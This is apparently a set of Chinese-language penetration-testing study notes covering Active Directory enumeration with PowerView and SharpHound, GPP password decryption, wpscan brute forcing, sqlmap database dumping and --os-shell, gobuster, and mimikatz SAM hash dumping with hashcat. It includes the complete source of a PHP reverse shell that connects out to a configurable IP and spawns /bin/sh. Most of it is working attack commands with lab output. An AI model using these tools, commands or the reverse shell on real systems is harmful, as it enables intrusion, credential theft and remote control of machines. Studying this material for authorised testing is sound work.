圖10向我們顯示了有關受害者瀏覽器的其他信息。這些信息不來自用戶代理,而是來自嵌入在Canarytoken網頁中的JavaScript指紋識別代碼。這些信息比用戶代理的信息更精確可靠。這再次表明目標正在Windows上運行Chrome。

Canarytoken服務還提供其他指紋識別技術。讓我們返回到Canarytokens的主頁,討論這些技術。

 

image-1700373828436.png

下拉菜單提供了在Word文檔或PDF文件中嵌入Canarytoken的選項,這將使我們在受害者打開文件時獲得信息。此外,我們還可以將其嵌入到圖像中,這將在圖像被查看時通知我們。

我們還可以使用像Grabify这樣的在線IP日誌記錄器,或者使用JavaScript指紋識別庫,如fingerprint.js。

在這一節中,我們展示了一種有效的指紋識別技術,揭示了有關目標系統的關鍵信息。這是客戶端攻擊的關鍵第一步。雖然我們的目標是確定目標是否運行Windows,並啟用了Internet Explorer或Microsoft Edge,但我們只能確定受害者在Windows上運行Chrome。在這種情況下,我們應該使用不同的客戶端攻擊向量,或者更改我們的前設,例如建議該截圖只能在Internet Explorer或Microsoft Edge中查看。

 

  參考:

https://bookstack.treemanou.com/books/treemanoscp/page/ch11-client-side-attacks#bkmrk-11.1.2-client-finger



[Day 12] 30天蜜罐品嘗 : 蜜罐非罐之四 Canarytoken

若是想設置自己的canarytoken伺服器,可以參考以下github連結
https://github.com/thinkst/canarytokens

他們也有自己開源的模組化honeypot,安裝後只需要改變設定便可以在同一台honeypot上模擬Linux Web Server, Windows Server MySQL Server 和MSSQL Server,可以參考以下連結
https://github.com/thinkst/opencanary

 

【AD】【列舉】PowerView.ps1

下載:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

教學:

https://bookstack.treemanou.com/books/treemanoscp/page/ch21-active-directory-introduction-and-enumeration#bkmrk-21.3-manual-enumerat

Get-NetComputer

##############################################
# 載入記憶體
PS C:\Tools> Import-Module .\PowerView.ps1

##############################################
# 提供有關域的基本信息
PS C:\Tools> Get-NetDomain

Forest                  : corp.com
DomainControllers       : {DC1.corp.com}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC1.corp.com
RidRoleOwner            : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name                    : corp.com

##############################################
# 獲取域中所有用戶的列表
PS C:\Tools> Get-NetUser

logoncount             : 113
iscriticalsystemobject : True
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 9/13/2022 1:03:47 AM
name                   : Administrator
##############################################
# 獲取域中所有用戶的列表
PS C:\Tools> Get-NetUser | select cn,pwdlastset,lastlogon

cn            pwdlastset            lastlogon
--            ----------            ---------
Administrator 8/16/2022 5:27:22 PM  9/14/2022 2:37:15 AM
Guest         12/31/1600 4:00:00 PM 12/31/1600 4:00:00 PM
krbtgt        9/2/2022 4:10:48 PM   12/31/1600 4:00:00 PM
dave          9/7/2022 9:54:57 AM   9/14/2022 2:57:28 AM
stephanie     9/2/2022 4:23:38 PM   12/31/1600 4:00:00 PM

PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname
-------------- --------------------
krbtgt         kadmin/changepw
iis_service    {HTTP/web04.corp.com, HTTP/web04, HTTP/web04.corp.com:80}

##############################################
# 列舉群組
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins

##############################################
# 列舉群組("Sales Department")
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,
DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

##############################################
# 搜索操作系統和主機名
PS C:\Tools> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

dnshostname       operatingsystem              operatingsystemversion
-----------       ---------------              ----------------------
DC1.corp.com      Windows Server 2022 Standard 10.0 (20348)
web04.corp.com    Windows Server 2022 Standard 10.0 (20348)
FILES04.corp.com  Windows Server 2022 Standard 10.0 (20348)
client74.corp.com Windows 11 Pro               10.0 (22000)
client75.corp.com Windows 11 Pro               10.0 (22000)
CLIENT76.corp.com Windows 10 Pro               10.0 (16299)

##############################################
# 掃描網絡,試圖確定我們當前用戶是否在域中的任何計算機上具有管理權限
PS C:\Tools> Find-LocalAdminAccess
client74.corp.com

##############################################
# 查找域中的一些機器,看看我們是否能找到任何已登錄的用戶
# 失敗
PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
# 成功
PS C:\Tools> Get-NetSession -ComputerName client74
CName        : \\192.168.50.75
UserName     : stephanie
Time         : 8
IdleTime     : 0
ComputerName : client74

##############################################
# 查找域中的共享
PS C:\Tools> Find-DomainShare

Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           DC1.corp.com
C$       2147483648 Default share          DC1.corp.com
IPC$     2147483651 Remote IPC             DC1.corp.com

PowerView中使用Get-ObjectAcl來列舉ACE(Access Control Entry)是一種強大的方法,它允許我們查看特定對象的許可權設置。在你的命令中,你正在尋找你自己的用戶帳戶(Identity)的ACE。

讓我們運行下面的命令,看看你自己的帳戶有哪些ACE:

# Get-ObjectAcl -Identity {username}
PS C:\Tools> Get-ObjectAcl -Identity stephanie

image-1702297512890.png

輸出的量可能看似龐大,因為我們列舉了每一個授予或拒絕對 Stephanie 某種權限的 ACE。雖然有許多屬性似乎可能有用,但我們主要關心的是在清單 58 的截斷輸出中突顯的那些。

輸出列舉了兩個安全標識符(SID),這是代表 AD 中對象的 5 個唯一值。第一個(位於突顯的 ObjectSID 屬性中)包含值 "S-1-5-21-1987370270-658905905-1781884369-1104",這相當難以閱讀。為了理解這個 SID,我們可以使用 PowerView 的 Convert-SidToName 命令將其轉換為實際的網域對象名稱:

PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

image-1702297724313.png

轉換顯示,ObjectSID 屬性中的 SID 屬於我們目前使用的 stephanie 使用者。ActiveDirectoryRights 屬性描述了應用於對象的權限類型。為了找出在這種情況下誰具有 ReadProperty 權限,我們需要將 SecurityIdentifier 的值進行轉換。

讓我們使用 PowerView 將其轉換為一個可讀的名稱:

image-1702297775442.png

根據 PowerView,SecurityIdentifier 屬性中的 SID 屬於一個名為 RAS and IAS Servers 的預設 AD 群組。


 

PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

image-1702297864440.png

在這個情況下,我們有總共五個對象對 Management Department 對象擁有 GenericAll 權限。為了理解這一點,讓我們將所有的 SID 轉換成實際的名稱:

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512"
,"S-1-5-21-1987370270-658905905-1781884369-1104"
,"S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" 
| Convert-SidToName

image-1702297933379.png

【AD】【列舉】PsLoggedOn

讓我們嘗試對之前嘗試列舉的計算機運行PsLoggedOn,首先是FILES04和WEB04。 PsLoggedOn位於CLIENT75的C:\Tools\PSTools目錄中。要使用它,我們只需將它與目標主機名一起運行:

image-1702296691910.png

運行這個命令,以查看WEB04上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。

image-1702296765555.png

運行這個命令,以查看CLIENT74上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。由於我們在CLIENT74啟用了Remote Registry服務,我們應該能夠成功列舉用戶會話。

image-1702296807909.png

看起來jeffadmin在CLIENT74上有一個開啟的會話,輸出顯示了一些非常有趣的信息。如果我們的枚舉是準確的,並且我們實際上在CLIENT74上擁有管理特權,我們應該能夠登錄並可能竊取jeffadmin的憑據

【AD】【列舉】Get-Acl

我們將使用PowerShell的Get-Acl cmdlet。這個命令本質上將檢索我們使用 -Path 標誌定義的對象的權限並將它們打印在我們的PowerShell提示中。

PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

image-1702296466763.png

在清單中突出顯示的輸出顯示了擁有FullControl或ReadKey權限的組和用戶,這意味著它們都可以讀取SrvsvcSessionInfo密鑰本身

【AD】net

 

# 使用者加入 group
# net group {group name} {username} /add /domain
PS C:\Tools> net group "Management Department" stephanie /add /domain

【AD】【解碼】gpp-decrypt

我們找到一個名為 old-policy-backup.xml 的文件:

image-1702298601792.png

由於文件夾的命名和文件本身的名稱,看起來這是一個較舊的域策略文件。這是域共享上的一個常見遺物,因為系統管理員在實施新政策時經常忘記它們。在這種情況下,XML 文件描述了一個舊的策略(有助於了解當前的策略)和內建 Administrator 帳戶的一個加密密碼。對於我們來說,這個加密的密碼可能非常有價值。

從歷史上看,系統管理員通常通過組策略首選項(GPP)更改本地工作站密碼。

然而,即使使用 AES-256 加密存儲的 GPP 密碼,加密的私鑰已經在 MSDN 上公開。我們可以使用這個密鑰解密這些加密的密碼。在這個情況下,我們將在 Kali Linux 中使用 gpp-decrypt 的 ruby 腳本,該腳本解密給定的 GPP 加密字符串:

kali@kali:~$ gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

image-1702298765184.png

【AD】【列舉】SharpHound

https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

SharpHound 有幾種不同的格式可用。我們可以自己編譯它,使用已經編譯好的可執行文件,或者將其用作 PowerShell 腳本。在我們的情況下,我們將使用位於 CLIENT75 的 C:\Tools 中的 PowerShell 腳本。首先,讓我們打開一個 PowerShell 窗口並將腳本載入內存:

PS C:\Tools> Import-Module .\Sharphound.ps1

SharpHound 已經載入,現在我們可以開始收集域數據。然而,為了運行 SharpHound,我們首先必須運行 Invoke-BloodHound。這並不直觀,因為在這個階段我們只運行 SharpHound。讓我們調用 Get-Help 來了解有關此命令的更多信息。

PS C:\Tools> Get-Help Invoke-BloodHound

image-1702299210888.png

我們將從 -CollectionMethod 開始,該參數描述了各種收集方法。在我們的情況下,我們將嘗試收集所有數據,這將執行除了本地組策略之外的所有收集方法。

默認情況下,SharpHound 將以 JSON 文件的形式收集數據並自動將其壓縮為 ZIP 文件。這使我們能夠輕鬆將文件傳輸到稍後的 Kali Linux。我們將保存這個輸出文件到桌面上,帶有如下的 "corp audit" 前綴:


Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

PS C:\Tools> Invoke-BloodHound -CollectionMethod All -OutputDirectory 
C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

請注意,數據收集可能需要一些時間才能完成,這取決於我們正在列舉的環境的大小。讓我們檢查 SharpHound 的輸出:

image-1702299310706.png

根據清單 78 中的輸出,我們總共掃描了 106 個對象。這顯然會根據域中存在多少對象和會話而變化。

在這種情況下,SharpHound 實際上是從 stephanie 使用者那裡對域進行了一個快照,我們應該能夠分析使用者帳戶有權訪問的所有內容。收集的數據存儲在我們桌面上的 ZIP 文件中:

image-1702299351716.png

 

【列舉】wpscan

WPScan 是一款用於檢測 WordPress 網站安全性的開源工具。以下是一些常見的指令用法的繁體中文說明。請注意,WPScan 的命令行參數和選項可能會因版本而略有變化,建議在使用時查閱最新的官方文件。

# -enumerate p 掃描 WordPress 核心、插件和主題的漏洞:
# --plugins-detection aggressive 以詳細模式運行掃描
# -o websrv1/wpscan #output file

wpscan --enumerate p --plugins-detection aggressive -o wpscan.log \
--url http://192.168.50.244 
# 1. **基本掃描:**
# - 掃描一個 WordPress 網站:
wpscan --url http://example.com

# 2. **插件和主題掃描:**
#- 掃描所有插件:
wpscan --url http://example.com --enumerate p
#- 掃描所有主題:
wpscan --url http://example.com --enumerate t


# 3. **使用者枚舉:**
# - 嘗試枚舉使用者:
wpscan --url http://example.com --enumerate u

# 4. **密碼破解:**
# - 使用使用者名稱進行密碼破解:
wpscan --url http://example.com --passwords wordlist.txt --username admin

# 5. **漏洞掃描:**
# - 掃描 WordPress 核心、插件和主題的漏洞:
wpscan --url http://example.com --enumerate vp

# 6. **更多選項:**
#- 以詳細模式運行掃描:
wpscan --url http://example.com --enumerate vp --log wpscan.log
# - 顯示所有掃描選項:
wpscan --help

 

 

 

【SQL Injection】sqlmap

 

kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

# 傾卸整個數據庫,包括用戶憑據 --dump
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

#  -r 參數調用 sqlmap,並將包含 POST 請求的文件作為參數
kali@kali:~$ sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp"

# 獲取資料庫
sqlmap -u "URL" --dbs

# 獲取資料庫所有 table
sqlmap -u "URL" -D database --tables

# 獲取指定 table 之欄位
sqlmap -u "URL" -D database -T table --columns

# 獲取指定 table 之指定欄位資料
sqlmap -u "URL" -D database -T table -C field1,field2 --dump

# 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF
--random-agent

# 指定注入參數
-p par1,par2

# 跳過注入參數
--skip par1,par2

# 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ
# B = boolean-based
# E = error-based
# U = union-based
# S = stacked-queries
# T = time-based
# Q = inline-queries
--technique BEQU

# 指定 union select 的 column 列數
# 可以手動 fuzzing 出來指定
--union-cols 5

# 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3)
# 使用情境通常發生在fuzzing時的注入
-v 3

# 指定後端資料庫類型
# 中間有空格要使用雙引號,如:"Microsoft Access"
--dbms "mysql"

# 獲取RCE
--os-shell

# 自動模式,自動選取默認預設選項
--batch

# 跳過防火牆檢測測試
--skip-waf

【file】【列舉】

ExifTool 是一個用於讀取、編輯和寫入影像、音頻和視頻文件的元數據(metadata)的命令行工具。它由Phil Harvey開發,支援多種檔案格式,包括JPEG、TIFF、PNG、PDF、MP3、AVI等。ExifTool 廣泛應用在數位相機、手機、數位媒體軟體以及數位取證等領域。

# -a 顯示重複的標籤
# -u 顯示未知的標籤
kali@kali:~/Downloads$ exiftool -a -u brochure.pdf 
ExifTool Version Number         : 12.41
File Name                       : brochure.pdf
Directory                       : .
File Size                       : 303 KiB
File Modification Date/Time     : 2022:04:27 03:27:39-04:00
File Access Date/Time           : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time     : 2022:04:28 07:56:58-04:00
File Permissions                : -rw-------
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 4
Language                        : en-US
Tagged PDF                      : Yes
XMP Toolkit                     : Image::ExifTool 12.41
Creator                         : Stanley Yelnats
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Create Date                     : 2022:04:27 07:34:01+02:00
Creator Tool                    : Microsoft® PowerPoint® for Microsoft 365
Modify Date                     : 2022:04:27 07:34:01+02:00
Document ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Create Date                     : 2022:04:27 07:34:01+02:00
Modify Date                     : 2022:04:27 07:34:01+02:00
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Creator                         : Stanley Yelnats

【Linux】【列舉】linpeas

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

`linpeas.sh` 是一個用於 Linux 系統的自動化信息搜集工具,特別是用於提取有關系統環境、配置和潛在安全問題的信息。該工具的全名是 "Linux Privilege Escalation Awesome Script",簡稱 linpeas。

以下是 linpeas.sh 的主要功能和用途:

1. **信息搜集**:linpeas.sh 會掃描系統,收集關於用戶、組、進程、網絡配置、文件權限等方面的信息。

2. **特權升級檢測**:該工具通常被用於檢測潛在的特權升級漏洞。它會尋找與系統特權升級有關的信息,例如 SUID、SGID 文件,可寫的配置文件,或者用戶可以執行的任何特權命令。

3. **漏洞檢測**:linpeas.sh 會檢查系統上是否存在已知的漏洞,這有助於確保系統的安全性。

4. **配置問題**:工具可以檢測系統中的配置問題,例如未限制的訪問權限、過多的開啟端口等。

使用 linpeas.sh 的基本步驟:

1. **下載腳本**:通常,您需要從 GitHub 或其他可信的源下載 linpeas.sh 腳本。

2. **授予執行權限**:在執行 linpeas.sh 之前,確保腳本有執行權限。您可以使用 `chmod +x linpeas.sh` 命令來授予執行權限。

3. **執行腳本**:運行 `./linpeas.sh` 以啟動信息搜集和分析過程。腳本會生成一個包含系統信息和可能的問題的報告。

4. **分析報告**:查看生成的報告,並根據其中的信息來進行進一步的調查和修復。

請注意,linpeas.sh 僅是安全測試和信息搜集的工具,應該僅在合法和授權的環境中使用。未經授權使用此類工具可能導致法律問題。

# /usr/share/peass/winpeas/winPEASx64.exe
sudo apt-get install peass

【web】【列舉】whatweb

 

# 安裝
sudo apt-get install whatweb

# whatweb {domain}
┌──(kali㉿kali)-[~]
└─$ whatweb www.example.com.tw                                                                                                                              
http://www.example.com.tw [200 OK] HTML5, HTTPServer[nginx], IP[185.53.178.50], Script[JavaScript,text/javascript], Title[example.com.tw], UncommonHeaders[x-buckets,x-adblock-key,x-template,x-language,accept-ch,accept-ch-lifetime,x-domain,x-subdomain], nginx

【web】【爆破】burpsuite

#啟動
kali@kali:~$ burpsuite

https://bookstack.treemanou.com/books/treemanoscp/page/ch8-introduction-to-web-application-attacks#bkmrk-%C2%A0-0

【web】【爆破】gobuster

 

# 安裝
sudo apt-get update
sudo apt-get install gobuster

# git hub
# https://github.com/OJ/gobuster
# 1. **基本目錄爆破:**
#   在目標網站進行基本的目錄爆破,使用默認的字典文件:
gobuster dir -u http://example.com -t 10

# 2. **指定字典文件:**
#   使用自定義的字典文件進行目錄爆破:
gobuster dir -u http://example.com -w /path/to/custom-wordlist.txt -t 10
   
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

# 3. **多線程設置:**
#   設置併發線程數為 20:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 20

# 4. **狀態碼過濾:**
#   過濾掉 HTTP 狀態碼為 404 的響應:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -s 404

# 5. **遞歸掃描:**
#   對找到的每個目錄進行遞歸掃描:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -r

# 6. **擴展名爆破:**
#   嘗試查找具有特定文件擴展名的文件:
# gobuster 
# --exclude-length 40182: 排除指定長度的響應。在此示例中,排除了長度為 40182 的響應。這有助於過濾掉一些不感興趣的目錄。
# -f: 在結果中顯示完整的 URL 路徑。使用此標誌,gobuster 將顯示完整的 URL 路徑,而不僅僅是相對路徑。
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 40182 -f
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 40182 -f -x php,jsp
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -x php,txt

#7. **添加自定義 HTTP 頭:**
#   在請求中添加自定義的 HTTP 頭信息:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -H "Custom-Header: Value"

# 8. **URL 編碼啓用:**
#   啓用 URL 編碼以處理特殊字符:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -e

Gobuster 字典檔,一定要用對
/usr/share/wordlists/dirb/common.txt ← 起手式
/usr/share/wordlists/dirb/big.txt ← 進階
/usr/share/wordlists/dirbuster ← 最後階段(紅色字體),用完就不建議在嘗試,換方向

/usr/share/wordlists/diruster/
└─$ wc -l /usr/share/wordlists/dirb/common.txt
4614 /usr/share/wordlists/dirb/common.txt
└─$ wc -l /usr/share/wordlists/dirb/big.txt
20469 /usr/share/wordlists/dirb/big.txt
└─$ ls -al /usr/share/wordlists/dirbuster/
total 7584

-rw-r--r-- 1 root root 71638 Feb 27 2009 apache-user-enum-1.0.txt
-rw-r--r-- 1 root root 90418 Feb 27 2009 apache-user-enum-2.0.txt
-rw-r--r-- 1 root root 546618 Feb 27 2009 directories.jbrofuzz
-rw-r--r-- 1 root root 1802668 Feb 27 2009 directory-list-1.0.txt
-rw-r--r-- 1 root root 1980043 Feb 27 2009 directory-list-2.3-medium.txt
-rw-r--r-- 1 root root 725439 Feb 27 2009 directory-list-2.3-small.txt
-rw-r--r-- 1 root root 1849676 Feb 27 2009 directory-list-lowercase-2.3-medium.txt
-rw-r--r-- 1 root root 676768 Feb 27 2009 directory-list-lowercase-2.3-small.txt

【terminal】php-reverse-shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 


 

【web】【linux】【shell】curl

 

curl

#`--path-as-is` 是在使用 cURL 命令時的一個特殊參數,
# 它指示 cURL 將 URL 中的路徑部分視為原樣處理,而不進行百分比編碼(Percent-Encoding)。
# 當你使用 `--path-as-is` 參數時,cURL 不會對 URL 中的特殊字符進行轉義,而是直接使用原始的字符。
# 這在某些情況下可能很有用,特別是當你需要在 URL 中使用特殊字符而不希望 cURL 對它們進行轉義時。
# 在這個例子中,`--path-as-is` 參數告訴 cURL 不對 URL 中的特殊字符進行轉義。
# 這樣,`http://example.com/path/with/special@characters` 這個 URL 中的 `@` 字符就不會被轉換成 `%40`。
curl --path-as-is http://example.com/path/with/special@characters

 

請注意,`--path-as-is` 參數的支援取決於 cURL 的版本,確保你的 cURL 版本支援這個參數。你可以通過 `curl --version` 檢查你的 cURL 版本信息。

【sql】impacket-mssqlclient


impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

【SQL_injection】github

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution

【密碼】【破解】hashcat

https://hashcat.net/hashcat/

hashCode 範例 https://hashcat.net/wiki/doku.php?id=example_hashes

# 常用id
# Kerberos(AS-REP) 18200 
kali@kali:~$ hashcat --help | grep -i "Kerberos" 
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol


# ntlm 1000
kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm" 
 5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol
   1000 | NTLM                                                       | Operating System
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

656     {0;000003e7} 1 D 34811          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;000413a0} 1 F 6146616     MARKETINGWK01\offsec    S-1-5-21-4264639230-2296035194-3358247000-1001  (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 6217216     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)
 
mimikatz # lsadump::sam
Domain : MARKETINGWK01
SysKey : 2a0e15573f9ce6cdd6a1c62d222035d5
Local SID : S-1-5-21-4264639230-2296035194-3358247000
 
RID  : 000003e9 (1001)
User : offsec
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
 
RID  : 000003ea (1002)
User : nelly
  Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
...

很好,我們成功地啟用了 SeDebugPrivilege 存取權限,並取得了 SYSTEM 使用者特權。lsadump::sam 命令的輸出顯示了兩個 NTLM 雜湊,一個是 offsec 的,另一個是 nelly 的。由於我們已經知道 offsec 的 NTLM 雜湊是由明文密碼 "lab" 計算出來的,我們會跳過它,專注於 nelly 的 NTLM 雜湊。

讓我們將 NTLM 雜湊複製並粘貼到我們 Kali 機器上 passwordattacks 目錄中的 nelly.hash。

kali@kali:~/passwordattacks$ cat nelly.hash     
3ae8e5f0ffabb3a627672e1600f1ba10

接下來,我們將從 Hashcat 的說明輸出中獲取正確的雜湊模式。

kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm"   
                                                                            
   5500 | NetNTLMv1 / NetNTLMv1+ESS                           | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                      | Network Protocol
